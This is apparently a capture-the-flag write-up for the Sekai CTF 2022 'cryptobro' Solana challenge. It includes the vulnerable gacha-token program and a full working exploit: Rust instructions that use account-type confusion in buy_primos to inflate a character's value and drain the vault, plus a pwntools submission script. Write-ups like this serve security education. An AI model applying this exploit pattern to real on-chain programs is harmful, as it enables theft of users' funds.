2 Oct 2022
GFT - Sekai CTF 2022 - cryptobro
The problem
In this challenge we get the source code of the program and the server and a Dockerfile to run the server locally.
The description of the challenge:
Oh no! My blockchain gacha fungible tokens program has been impacted by some hacker! Can you steal my money back for me?
Understanding the problem
Server
The server listens on port 5000 for incoming connections, when a new connection is established handle_connection
gets called.
handle_connection
loads the challenge problem, create the user, adds the accounts with the respective lamports (2000 for us and 50000 to the vault), takes our solve as input and runs it, if after running our solve program we have more than 40000 lamports the flag gets sent to us.
// base: https://github.com/otter-sec/sol-ctf-framework/tree/main/examples/moar-horse-5
use poc_framework_osec::{
solana_sdk::signature::{Keypair, Signer},
Environment, PrintableTransaction, setup_logging, LogLevel,
};
use sol_ctf_framework::ChallengeBuilder;
use solana_program::system_program;
use std::{
error::Error,
fs,
io::Write,
net::{TcpListener, TcpStream},
};
use threadpool::ThreadPool;
use gft::get_vault;
fn main() -> Result<(), Box<dyn Error>> {
let listener = TcpListener::bind("0.0.0.0:5000")?;
let pool = ThreadPool::new(4);
for stream in listener.incoming() {
let stream = stream.unwrap();
pool.execute(|| {
handle_connection(stream).unwrap();
});
}
Ok(())
}
fn handle_connection(mut socket: TcpStream) -> Result<(), Box<dyn Error>> {
let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();
// load programs
let solve_pubkey = builder.input_program().unwrap();
let program_pubkey = builder.chall_programs(&["./gft.so"])[0];
// make user
let user = Keypair::new();
writeln!(socket, "program: {}", program_pubkey)?;
writeln!(socket, "user: {}", user.pubkey())?;
// add accounts and lamports
let (vault, _) = get_vault(program_pubkey);
// beeg money
const TARGET_BAL: u64 = 40_000;
const INIT_BAL: u64 = 2_000;
const VAULT_BAL: u64 = 50_000;
builder
.builder
.add_account_with_lamports(user.pubkey(), system_program::ID, INIT_BAL);
builder
.builder
.add_account_with_lamports(vault, program_pubkey, VAULT_BAL);
let mut challenge = builder.build();
// run solve
challenge.input_instruction(solve_pubkey, &[&user]).unwrap();
// check solve
let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports;
writeln!(socket, "lamports: {:?}", balance)?;
if balance > TARGET_BAL {
let flag = fs::read_to_string("flag.txt").unwrap();
writeln!(socket, "your did it!\nFlag: {}", flag)?;
}
Ok(())
}
Program
entrypoint.rs
When we call the challenge program the function process_instruction
gets called with all the parameters forwarded.
entrypoint!(start);
fn start(program_id: &Pubkey, accounts: &[AccountInfo], instruction_data: &[u8]) -> ProgramResult {
crate::processor::process_instruction(program_id, accounts, instruction_data)
}
lib.rs
In here there are some helper functions to create the invocations, other helpers to retrieve some data and the structs used in the challenge that can be serialized and deserialized with the borsh
crate.
structs
// used to specify the instruction we want to run
#[derive(BorshSerialize, BorshDeserialize)]
pub enum GachaInstruction {
CreateUserAccount {
account_name: String,
account_bump: u8,
},
BuyPrimos {
amount: u64,
vault_bump: u8,
},
BuyCharacter {
character_id: u8,
character_bump: u8,
vault_bump: u8,
},
SellAccount {
vault_bump: u8,
},
}
// used to store account data
#[derive(BorshSerialize, BorshDeserialize)]
pub struct UserAccount {
pub primos: u64,
pub characters: Vec<u8>,
pub owner: Pubkey,
}
// used to store character data
#[derive(BorshSerialize, BorshDeserialize, Debug)]
pub struct Character {
pub stars: u64,
pub name: String,
pub id: u8,
pub owner: Pubkey,
}
data retrieval helpers
// retrieve useraccount pubkey and bump
pub fn get_useraccount(program: Pubkey, user: Pubkey, name: &str) -> (Pubkey, u8) {
Pubkey::find_program_address(&[b"ACCOUNT", &user.to_bytes(), name.as_bytes()], &program)
}
// retrieve character pubkey and bump
pub fn get_character(program: Pubkey, useraccount: Pubkey, character_id: u8) -> (Pubkey, u8) {
Pubkey::find_program_address(
&[b"CHARACTER", &useraccount.to_bytes(), &[character_id]],
&program,
)
}
// retrieve vault pubkey and bump
pub fn get_vault(program: Pubkey) -> (Pubkey, u8) {
Pubkey::find_program_address(&[b"VAULT"], &program)
}
invocation instruction helpers
// create a `CreateUserAccount` instruction with the user pubkey and the `account_name`
pub fn create_useraccount(program: Pubkey, user: Pubkey, account_name: &str) -> Instruction {
let (useraccount, useraccount_bump) = get_useraccount(program, user, &account_name);
Instruction {
program_id: program,
accounts: vec![
AccountMeta::new(useraccount, false),
AccountMeta::new(user, true),
AccountMeta::new_readonly(system_program::id(), false),
],
data: GachaInstruction::CreateUserAccount {
account_name: account_name.to_string(),
account_bump: useraccount_bump,
}
.try_to_vec()
.unwrap(),
}
}
// create a `BuyPrimos` instruction with the user pubkey, the `account_name` and the amount
pub fn buy_primos(program: Pubkey, user: Pubkey, account_name: &str, amount: u64) -> Instruction {
let (useraccount, _) = get_useraccount(program, user, &account_name);
let (vault, vault_bump) = get_vault(program);
Instruction {
program_id: program,
accounts: vec![
AccountMeta::new(useraccount, false),
AccountMeta::new(user, true),
AccountMeta::new(vault, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: GachaInstruction::BuyPrimos { amount, vault_bump }
.try_to_vec()
.unwrap(),
}
}
// create a `BuyCharacter` instruction with the user pubkey, the `account_name` and the `character_id`
pub fn buy_character(
program: Pubkey,
user: Pubkey,
account_name: &str,
character_id: u8,
) -> Instruction {
let (useraccount, _) = get_useraccount(program, user, account_name);
let (character, character_bump) = get_character(program, useraccount, character_id);
let (vault, vault_bump) = get_vault(program);
Instruction {
program_id: program,
accounts: vec![
AccountMeta::new(useraccount, false),
AccountMeta::new(user, true),
AccountMeta::new(character, false),
AccountMeta::new(vault, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: GachaInstruction::BuyCharacter {
character_id,
character_bump,
vault_bump,
}
.try_to_vec()
.unwrap(),
}
}
// create a `SellAccount` instruction with the user pubkey, the `account_name` and the `characters` array which contains a list of character id
pub fn sell_account(
program: Pubkey,
user: Pubkey,
account_name: &str,
characters: &[u8],
) -> Instruction {
let (useraccount, _) = get_useraccount(program, user, account_name);
let (vault, vault_bump) = get_vault(program);
let mut accounts = vec![
AccountMeta::new(useraccount, false),
AccountMeta::new(user, true),
AccountMeta::new(vault, false),
];
for &c in characters {
let (character, _) = get_character(program, useraccount, c);
accounts.push(AccountMeta::new(character, false));
}
accounts.push(AccountMeta::new_readonly(system_program::id(), false));
Instruction {
program_id: program,
accounts: accounts,
data: GachaInstruction::SellAccount { vault_bump }
.try_to_vec()
.unwrap(),
}
}
processor.rs
In here we have 5 main functions:
process_instruction
Takes the instrucion_data
parameter, deserializes it in a GachaInstruction
used to extract the parameters to call the right function.
The 4 GachaInstruction
s are the following:
CreateUserAccount
, used to create a new user account to storeprimos
(the challenge tokens) and thecharacters
(the challenge NFTs);BuyPrimos
, used to buyprimos
to anyUserAccount
;BuyCharacter
, used to buycharacters
for an amount ofprimos
;SellAccount
, used to sell anaccount
forprimos
.
pub fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
mut instruction_data: &[u8],
) -> ProgramResult {
match GachaInstruction::deserialize(&mut instruction_data)? {
GachaInstruction::CreateUserAccount {
account_name,
account_bump,
} => create_useraccount(program_id, accounts, &account_name, account_bump),
GachaInstruction::BuyPrimos { amount, vault_bump } => {
buy_primos(program_id, accounts, amount, vault_bump)
}
GachaInstruction::BuyCharacter {
character_id,
character_bump,
vault_bump,
} => buy_character(
program_id,
accounts,
character_id,
character_bump,
vault_bump,
),
GachaInstruction::SellAccount { vault_bump } => {
sell_account(program_id, accounts, vault_bump)
}
}
}
create_useraccount
Creates a new UserAccount
with the given account_name
, after checking that the accounts passed are the right ones.
fn create_useraccount(
program: &Pubkey,
accounts: &[AccountInfo],
account_name: &str,
account_bump: u8,
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let useraccount_info = next_account_info(account_iter)?;
let user_info = next_account_info(account_iter)?;
let useraccount_address = Pubkey::create_program_address(
&[
b"ACCOUNT",
&user_info.key.to_bytes(),
&account_name.as_bytes(),
&[account_bump],
],
program,
)?;
assert_eq!(*useraccount_info.key, useraccount_address);
assert!(useraccount_info.data_is_empty());
assert!(user_info.is_signer);
// probably good enough /shrug
const ACCOUNT_SIZE: u64 = 512;
invoke_signed(
&system_instruction::create_account(
user_info.key,
useraccount_info.key,
10,
ACCOUNT_SIZE,
program,
),
&[user_info.clone(), useraccount_info.clone()],
&[&[
b"ACCOUNT",
&user_info.key.to_bytes(),
&account_name.as_bytes(),
&[account_bump],
]],
)?;
let new_account = UserAccount {
primos: 0,
characters: Vec::new(),
owner: *user_info.key,
};
new_account.serialize(&mut &mut useraccount_info.data.borrow_mut()[..])?;
Ok(())
}
buy_primos
Uses lamports to buy primos
and adds them to the UserAccount
specified in the input parameters, after checking that the accounts passed are right, it only skips a check on the user_info.owner
because we could potentially buy primos to accounts not owned by us.
fn buy_primos(
program: &Pubkey,
accounts: &[AccountInfo],
amount: u64,
vault_bump: u8,
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let useraccount_info = next_account_info(account_iter)?;
let user_info = next_account_info(account_iter)?;
let vault_info = next_account_info(account_iter)?;
let mut useraccount = UserAccount::deserialize(&mut &useraccount_info.data.borrow()[..])?;
let vault_address = Pubkey::create_program_address(&[b"VAULT", &[vault_bump]], program)?;
assert_eq!(*vault_info.key, vault_address);
assert_eq!(useraccount_info.owner, program);
assert_eq!(vault_info.owner, program);
// no need to check account owner, since we can let users buy primos for each other
assert!(user_info.is_signer);
// 1:1 ratio between lamports:primos
invoke(
&system_instruction::transfer(user_info.key, vault_info.key, amount),
&[user_info.clone(), vault_info.clone()],
)?;
useraccount.primos += amount;
useraccount.serialize(&mut &mut useraccount_info.data.borrow_mut()[..])?;
Ok(())
}
buy_character
Create a new account to contain the new Character
, it’s data is copied from the CHARACTERS
array and, after checking that the character is not already present in the UserAccount
and all the accounts passed are right, the primos
are taken from the UserAccount
and the new character_id
gets pushed to the account’s characters
array.
fn buy_character(
program: &Pubkey,
accounts: &[AccountInfo],
character_id: u8,
character_bump: u8,
vault_bump: u8,
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let useraccount_info = next_account_info(account_iter)?;
let user_info = next_account_info(account_iter)?;
let character_info = next_account_info(account_iter)?;
let vault_info = next_account_info(account_iter)?;
let mut useraccount = UserAccount::deserialize(&mut &useraccount_info.data.borrow()[..])?;
let character_address = Pubkey::create_program_address(
&[
b"CHARACTER",
&useraccount_info.key.to_bytes(),
&[character_id],
&[character_bump],
],
program,
)?;
msg!("{}", character_address);
let vault_address = Pubkey::create_program_address(&[b"VAULT", &[vault_bump]], program)?;
assert_eq!(*character_info.key, character_address);
assert_eq!(*vault_info.key, vault_address);
assert_eq!(useraccount_info.owner, program);
assert_eq!(vault_info.owner, program);
assert!(character_info.data_is_empty());
assert!(user_info.is_signer);
assert_eq!(useraccount.owner, *user_info.key);
// prevent buying the same character twice
for &c in &useraccount.characters {
assert_ne!(character_id, c);
}
let stats = &CHARACTERS[character_id as usize];
let character = Character {
id: character_id,
stars: stats.stars as u64,
name: stats.name.to_string(),
owner: *useraccount_info.key,
};
let price = (character.stars as u64) * BASE_PRICE;
assert!(useraccount.primos >= price);
// probably good enough /shrug
const CHARACTER_SIZE: u64 = 128;
invoke_signed(
&system_instruction::create_account(
user_info.key,
character_info.key,
10,
CHARACTER_SIZE,
program,
),
&[user_info.clone(), character_info.clone()],
&[&[
b"CHARACTER",
&useraccount_info.key.to_bytes(),
&[character_id],
&[character_bump],
]],
)?;
useraccount.primos -= price;
useraccount.characters.push(character_id);
useraccount.serialize(&mut &mut useraccount_info.data.borrow_mut()[..])?;
character.serialize(&mut &mut character_info.data.borrow_mut()[..])?;
Ok(())
}
sell_account
Sell the account containing the Characters
and get lamports in exchange.
This function checks that the accounts passed are right and then character by character checks that the program that contains them are owned by the challenge program and that the UserAccount
we passed owns the Character
, checks that you didn’t try to sell the same Character
twice and then adds the value ((character.stars as u64 * BASE_PRICE * LOSS_RATIO) / 100
) to the total. We then receive the total amount of the sale in lamports.
// monkaTOS
fn sell_account(program: &Pubkey, accounts: &[AccountInfo], vault_bump: u8) -> ProgramResult {
let account_iter = &mut accounts.iter();
let useraccount_info = next_account_info(account_iter)?;
let user_info = next_account_info(account_iter)?;
let vault_info = next_account_info(account_iter)?;
// further accounts passed are all the characters that the user owns
let mut useraccount = UserAccount::deserialize(&mut &useraccount_info.data.borrow()[..])?;
let vault_address = Pubkey::create_program_address(&[b"VAULT", &[vault_bump]], program)?;
assert_eq!(*vault_info.key, vault_address);
assert_eq!(useraccount_info.owner, program);
assert_eq!(vault_info.owner, program);
assert!(user_info.is_signer);
assert_eq!(useraccount.owner, *user_info.key);
let mut price = 0;
let mut sold = HashSet::new();
for character_info in account_iter.take(useraccount.characters.len()) {
let character = Character::deserialize(&mut &character_info.data.borrow()[..])?;
assert_eq!(character_info.owner, program);
assert_eq!(character.owner, *useraccount_info.key);
// haha nice try
assert!(!sold.contains(&character.id));
price += (character.stars as u64 * BASE_PRICE * LOSS_RATIO) / 100;
sold.insert(character.id);
}
**vault_info.lamports.borrow_mut() -= price;
**user_info.lamports.borrow_mut() += price;
useraccount.owner = *program;
useraccount.serialize(&mut &mut useraccount_info.data.borrow_mut()[..])?;
Ok(())
}
Exploitation
After seeing that the buy_primos
functions takes a UserAccount
but does not check the owner of the account and that it only modifies the primos
field we can assume that by just giving it a similar enought structure we can write the field that is placed at the same offset of primos
, like the stars
field in Character
.
So by passing to buy_primos
function a Character
and an amount
big enough to steal enough lamports, we can see that the stars
field gets increased of amount
, so we can use that function to increase the value of a character that we can then sell to get character.stars as u64 * BASE_PRICE * LOSS_RATIO) / 100
lamports.
Exploit sequence
Setup all the variables
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let gft = next_account_info(account_iter)?;
let character_info = next_account_info(account_iter)?;
let useraccount = next_account_info(account_iter)?;
let vault = next_account_info(account_iter)?;
let sys = next_account_info(account_iter)?;
let vault_bump = instruction_data[0];
let character_id = 0;
let account_name = "f1x3r";
Create an account
let _ = invoke(
&create_useraccount(*gft.key, *user.key, account_name),
&[useraccount.clone(), user.clone(), _sys.clone()],
);
Buy enough primos
to buy a Character
, e.g. 800
let _ = invoke(
&buy_primos(*gft.key, *user.key, account_name, 800),
&[
useraccount.clone(),
user.clone(),
vault.clone(),
sys.clone(),
],
);
Buy a character
let _ = invoke(
&buy_character(*gft.key, *user.key, account_name, character_id),
&[
useraccount.clone(),
user.clone(),
character_info.clone(),
vault.clone(),
sys.clone(),
],
);
Call enough buy_primos
with the Character
we just bought in place of an Account
, e.g. 303 (to empty the vault)
// the amount of stars to add to our character
let amount = 303;
// create the instruction
let exp = Instruction {
program_id: *gft.key,
accounts: vec![
AccountMeta::new(*character_info.key, false),
AccountMeta::new(*user.key, true),
AccountMeta::new(*vault.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: GachaInstruction::BuyPrimos { amount, vault_bump }
.try_to_vec()
.unwrap(),
};
// invoke the instruction
let _ = invoke(
&exp,
&[
character_info.clone(),
user.clone(),
vault.clone(),
sys.clone(),
],
);
Sell the account with the forged Character
let _ = invoke(
&sell_account(*gft.key, *user.key, account_name, &[character_id]),
&[
useraccount.clone(),
user.clone(),
vault.clone(),
character_info.clone(),
sys.clone(),
],
);
Profit
python script to send our program to the server
We have to connect to the server, send our compiled program size and our program and then retrieve the challenge program and user program pubkey, we can then send our accounts and data to call our program’s entrypoint
from pwn import *
from solana.publickey import PublicKey
from solana.system_program import SYS_PROGRAM_ID
host = args.HOST or "localhost"
port = int(args.PORT or 5000)
solve_so = "solve.so"
io = connect(host, port)
# read our program from file
with open(solve_so, "rb") as f:
solve_so_data = f.read()
# send program's size to server
io.sendlineafter(b"len", str(len(solve_so_data)).encode("ascii"))
# send program to server
io.send(solve_so_data)
# receive challenge program pubkey
io.recvuntil(b"program: ").decode("ascii")
program = PublicKey(io.recvline().strip().decode())
log.info(f"program: {program}")
# receive user pubkey
io.recvuntil(b"user: ").decode("ascii")
user = PublicKey(io.recvline().strip().decode("ascii"))
log.info(f"user: {user}")
# find useraccount pubkey and bump
useraccount, useraccount_bump = PublicKey.find_program_address(
[
b"ACCOUNT",
bytes(PublicKey(user)),
b"f1x3r",
],
program,
)
log.info(f"useraccount: {useraccount}")
# find character pubkey and bump
character, character_bump = PublicKey.find_program_address(
[
b"CHARACTER",
bytes(useraccount),
int(0).to_bytes(1, "little")
],
program,
)
log.info(f"character: {character}")
# find vault pubkey and bump
vault, vault_bump = PublicKey.find_program_address([b"VAULT"], program)
log.info(f"vault: {vault}")
# put together the accounts array, each account can be `signer`(`s`), `writable`(`w`), both(`ws`) or none(`q` or any other char, not `s` or `w`, for that matter) of them and that is specified by the first field of the tuple
accounts = [
(b"ws", user.to_base58()),
(b"q", program.to_base58()),
(b"w", character.to_base58()),
(b"w", useraccount.to_base58()),
(b"w", vault.to_base58()),
(b"q", SYS_PROGRAM_ID.to_base58()),
]
# encode our data (here we only need the vault bump)
ix_data = p8(vault_bump)
io.recvuntil(b"num accounts:").decode("ascii")
# send the number of accounts and the accounts
io.sendline(str(len(accounts)).encode("ascii"))
for access, key in accounts:
io.sendline(access + b" " + key)
io.recvuntil(b"ix len:").decode("ascii")
# send data size and data
io.sendline(str(len(ix_data)).encode("ascii"))
io.send(ix_data)
# wait for any answer from the server and log it
output = printable(io.recvall()).decode("utf-8")
log.info(output)
run the exploit
- Build the program with
cargo build-bpf
- Run the solve script:
- run
python solve.py
to run it on a local instance of the server - run
python solve.py HOST=<server_addr> PORT=<server_port>
to run it against the real server
- run
The output should look something like this:
[+] Opening connection to localhost on port 5000: Done
[*] program: FrMQd67gsyEre7sdoY3SC6sPe3cBq3yHEkpVb9VRTxyo
[*] user: 4CXtoTXu7QLysLSEobV5S4fFg3rV6fhgb3NV6gKbrKLG
[*] useraccount: C1TUKbrBD2xUA3kzQCanB9uMFzEMS4AWjKGcNAqngcmy
[*] character: Gu5KLAKoSjLNb9wFtoE8TaB5DwQoUjNgZQCNm5BMXvJ6
[*] vault: EPpZENNT5qpowQvBDGmvZkPAyCKu4zx3PUwneybkGw1e
[+] Receiving all data: Done (55B)
[*] Closed connection to localhost port 5000
[*]
lamports: 49997
your did it!
Flag: SEKAI{test_flag}
For all the files check out the github repo
To learn more abount solana
- solana cookbook - Essential concepts
- solana sdk for rust
- Developement docs
- neodyme workshop - A security workshop to start learning different types of issues